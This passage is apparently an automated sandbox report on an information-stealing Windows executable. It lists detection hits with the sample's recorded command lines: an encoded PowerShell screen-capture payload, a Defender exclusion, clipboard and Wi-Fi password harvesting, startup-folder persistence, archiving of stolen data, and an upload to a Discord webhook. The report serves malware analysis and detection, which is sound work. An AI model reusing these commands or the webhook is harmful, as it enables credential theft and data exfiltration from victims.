Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBl

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KpHYfxnJs6.exe", ParentImage: C:\Users\user\Desktop\KpHYfxnJs6.exe, ParentProcessId: 7732, ParentProcessName: KpHYfxnJs6.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 4280, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\Desktop\KpHYfxnJs6.exe, ProcessId: 7732, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\KpHYfxnJs6.exe, ProcessId: 7732, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\KpHYfxnJs6.exe, ProcessId: 7732, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ??.scr

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7048, TargetFilename: C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline

Sigma detected: Files Added To An Archive Using Rar.EXE

Source: Process started

Author: Timur Zinniatullin, E.M. Anhaus, oscd.community: Data: Command: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *, CommandLine: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6384, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe a -r -hp"grabber" "C:\Users\user\AppData\Local\Temp\CoY55.zip" *, ProcessId: 2792, ProcessName: rar.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe'", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7964, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\KpHYfxnJs6.exe', ProcessId: 8108, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBl

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\KpHYfxnJs6.exe", ParentImage: C:\Users\user\Desktop\KpHYfxnJs6.exe, ParentProcessId: 7732, ParentProcessName: KpHYfxnJs6.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 7492, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: KpHYfxnJs6.exe	Virustotal: Detection: 43%			Perma Link
Source: KpHYfxnJs6.exe	ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: KpHYfxnJs6.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

Code function: 109_2_00007FF6FAA3901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

109_2_00007FF6FAA3901C

Source: KpHYfxnJs6.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: D:\a\_work\1\s\\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2905394504.000000006F911000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\python311.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2898642505.000000006C626000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\bifucm0t\bifucm0t.pdb source: powershell.exe, 00000046.00000002.2707327914.0000000004ACA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC source: KpHYfxnJs6.exe, 00000004.00000002.2897142653.000000006C0A3000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_lzma.pdbOO source: KpHYfxnJs6.exe, 00000004.00000002.2903601786.000000006F8DB000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_bz2.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2903162092.000000006F8A1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2896773038.000000006BEE2000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdbAA source: KpHYfxnJs6.exe, 00000004.00000002.2896773038.000000006BEE2000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\select.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2901778919.000000006F851000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_ssl.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2901169725.000000006F821000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_ctypes.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2904571313.000000006F8F1000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_hashlib.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2900426461.000000006F811000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_lzma.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2903601786.000000006F8DB000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_queue.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2900045891.000000006F801000.00000040.00000001.01000000.00000014.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\unicodedata.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2895977031.000000006BE70000.00000040.00000001.01000000.00000015.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PICOpenSSL 1.1.1q 5 Jul 2022built on: Thu Aug 18 20:09:02 2022 UTCplatform: VC-WIN32OPENSSLDIR: "C:\Program Files (x86)\Common Files\SSL"ENGINESDIR: "C:\Program Files (x86)\OpenSSL\lib\engines-1_1"not available source: KpHYfxnJs6.exe, 00000004.00000002.2897142653.000000006C0A3000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_socket.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2902247843.000000006F861000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\sqlite3.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2898061015.000000006C181000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 0000006D.00000000.2746843353.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmp, rar.exe, 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\_sqlite3.pdb source: KpHYfxnJs6.exe, 00000004.00000002.2902609939.000000006F881000.00000040.00000001.01000000.0000000C.sdmp

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA446EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	109_2_00007FF6FAA446EC
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA3E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle,	109_2_00007FF6FAA3E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA888E0 FindFirstFileExA,	109_2_00007FF6FAA888E0

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping localhost -n 3

Source: unknown	DNS query: name: ip-api.com
Source: unknown	DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.3.0
Source: global traffic	HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.3.0

Source: KpHYfxnJs6.exe, 00000004.00000002.2894662678.00000000080D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: KpHYfxnJs6.exe, 00000004.00000002.2894662678.00000000080D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: blank-whj1o.in
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1325289657537396889/J06FnIZUAv7ve4gZB3OnZqf37kI5zFxJAxHAJD7bveXtJPDaio_xou6MvVt3E_xErz6c HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 757556User-Agent: python-urllib3/2.3.0Content-Type: multipart/form-data; boundary=be021ac6dd6a6f9463cea33afec2e4d4

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 05 Jan 2025 06:20:00 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1736058001x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zw5vSBldi9iOW%2B9eohdvopcKIAWFYHRKodKbFFkuEUzy6NjtAeQYt%2BV0q9gfoFdO%2F3nGXOF%2BcBDredMg2V2D2z5kQySEIm6wi2C5gtsOEXVdIv4eJe8aFfj1Uo95"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=5cbfc4dd6375ebbad0e3f09fa787817f5ba62106-1736058000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=bS8fx30a016BJMMg6M7LZNH.avt_AGjRctIj0yxJamY-1736058000314-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; 